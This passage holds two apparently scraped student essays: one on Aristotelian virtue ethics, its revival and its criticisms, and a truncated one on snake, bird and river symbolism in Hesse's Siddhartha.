form of ethics. However, the trend has changed in the recent times the issue on virtue ethics has been largely forgotten as people has favored other approach to morality such as the utilitarianism and Kantian ethics. Despite the new found an approach, the basis of these has been the Aristotle virtue ethics. Over the past fifty years, there has been the return of the Aristotelian moral psychology. This was marked by a published document made in 1958 by Elizabeth Anscombe known as modern Moral Philosophy. The document excoriated Kantianism and the utilitarian versions and recommended the return to Aristotelian moral psychology. The change has seen virtue ethics be considered one of the key forms of ethical theory. Virtue ethics has been found to encourage people to be more virtuous such that we do not need an ethical theory for us to make decisions. The ethics puts more effort on the character. It also emphasizes on pleasure and the emotion. Hence it becomes good for people to enjoy acting in a virtuous manner. In additional, Aristotle talked of moral educational as a development process which is essential in each and every persons life. With the application of the virtue ethics, people avoid the use other complicated formulas trying to find out what they ought to do and hence they focus on the kind of person they need to be. In addition, it helps to distinguish between good people from the legalists. Following the law does not make one a good person. Virtue ethics is no longer the dominating theory as it now faces challenges. Despite being a highly prominent theory in peoples lives, virtue ethics has encountered some short comings. One of them is that virtue ethics offers no solution to certain specific moral dilemmas. Another shortcoming of Aristotles view is that it does not recognize that people are different. Not all people have equal opportunity in terms of developing morally hence people should not be judged the same. Despite the explanation of the virtuous people, there are people virtuous but live miserably unlike others who are not virtuous and live happily. On the other hand, virtue ethics appears to praise some virtues which on normal cases might be regarded as immoral. For example, soldiers in war may courageous, but that does not mean they are morally good. Finally, it is hard to tell when someone virtuous has bad motives. Virtuous ethics seems not to accommodate basic concepts such as an obligation and rights. Hence the theory of ethics seems inadequate to deal with complicated issues such as what makes an action right or wrong. It is easier to understand the virtue ethics by trying to differentiate the Aristotle approach and the Kantian, consequentially or the utilitarian approaches to the moral philosophy. From the case of Kantian, ethics are responsible in ruling as well as the fundamental principals playing a crucial role. Foundational role and consequentialism treats the moral assessment of actions as a function of what can be said about the consequences of those actions. Most of the modern virtue ethics takes inspiration from the Aristotle work in the same topic. The modern ones have also emphasized on cultivation of virtues for they define them as natural and rational way of being as well as flourishing in the society. Conclusion In conclusion, it is clear that work of Aristotle has greatly contributed to the modern philosophy and their way of thinking and also evaluating things. One of the reasons that have made the virtue ethics become popular as well as making very important contribution to our lives is that they really emphasize the key role played by motives in moral questions. The contribution also helps people understand the issue of morality. People were also aware that for one to act from virtue is also to act from some particular motivation. This means that the correct moral decisions need the correct motives behind them. Encouragement of the correct motivations is a vital component of the moral education to the young people. People is taught that they should have targets and desire for good outcomes as well as an accomplishment of given goals by our actions. Another reason why virtue theories are attractive is that the other theories on moral have a common problem in dealing with complicated moral issues such as what action should be taken or rather what moral duties should be emphasized. One of the key point that is emphasized by the virtue theory is that once people are successful in creating the people wanted, then arriving to the correct moral decision comes naturally.

Symbols and Symbolism in Siddhartha - The Snake, the Bird and the River

Symbols and Symbolism in Siddhartha - The Snake, the Bird and the River   Ã‚   In Herman Hess's, Siddhartha, Siddhartha's constant growth and spiritual evolution is elucidated through the symbolism of the snake, the bird and the river. As a snake sheds it's skin in order to continue its physical growth, Siddhartha sheds the skins of his past: " he realized that something had left him, like the old skin a snake sheds/ Something was no longer with him, something that had accompanied him right through his youth and was a part of him" (37). In this way Siddhartha leaves his childhood companion, Govinda, and follows the teachings of the Illustrious one. Siddhartha then journeys on alone and feels vulnerable as his past reveals his lost soul, " I was afraid, I was fleeing from myself..." (38). Siddhartha eagerly gathers himself and ventures on to explore alternative religions. He no longer relies on his past, his Samana upbringing and heritage, "Immediately he moved on again and began to walk quickly and impatiently, no longer homeward, no longer to his father, no longer looking backw...